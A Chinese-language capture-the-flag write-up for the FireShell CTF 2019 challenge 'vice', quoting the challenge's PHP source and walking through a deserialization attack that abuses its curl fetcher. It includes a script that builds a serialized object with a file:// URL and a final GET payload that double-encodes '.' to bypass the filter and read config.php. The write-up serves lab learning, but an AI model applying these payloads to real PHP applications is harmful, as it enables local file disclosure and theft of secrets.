fireshell ctf2019 vice
题目给出源码
<?php
//require_once 'config.php';
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
function __construct($method,$url){
$this->method = $method;
$this->url = $url;
}
function doit(){
$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
}else{
die(":)");
}
}
function __destruct(){
if(in_array($this->method,array("doit"))){
call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
}
if(isset($_GET["gg"])) {
@unserialize($_GET["gg"]);
} else {
highlight_file(__FILE__);
}
传参方式get,看到一个很重要的函数,
function __destruct(){
if(in_array($this->method,array("doit"))){
call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
再看doit()方法,调用了curl建立会话,于是思路:
反序列化->利用file协议读文件(查看config.php)->绕过限制,waf在这:
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
用一个脚本生成序列化:
<?php
class SHITS{
private $url = "file:///etc/hosts";
private $method = "doit";
}
echo urlencode(serialize(new SHITS()));
?>
可以探测到本机内网地址,但是没有回显,于是另一种方式就是猜测地址为:/var/www/html/config.php,但是因为要绕过限制,所以对.进行二次url编码%252e,于是生成payload:
?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:33:%22file:///var/www/html/config%252ephp%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}
最后curl:
Author: damn1t
Link: http://microvorld.com/2019/04/01/CTF/fireshell ctf(vice)/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.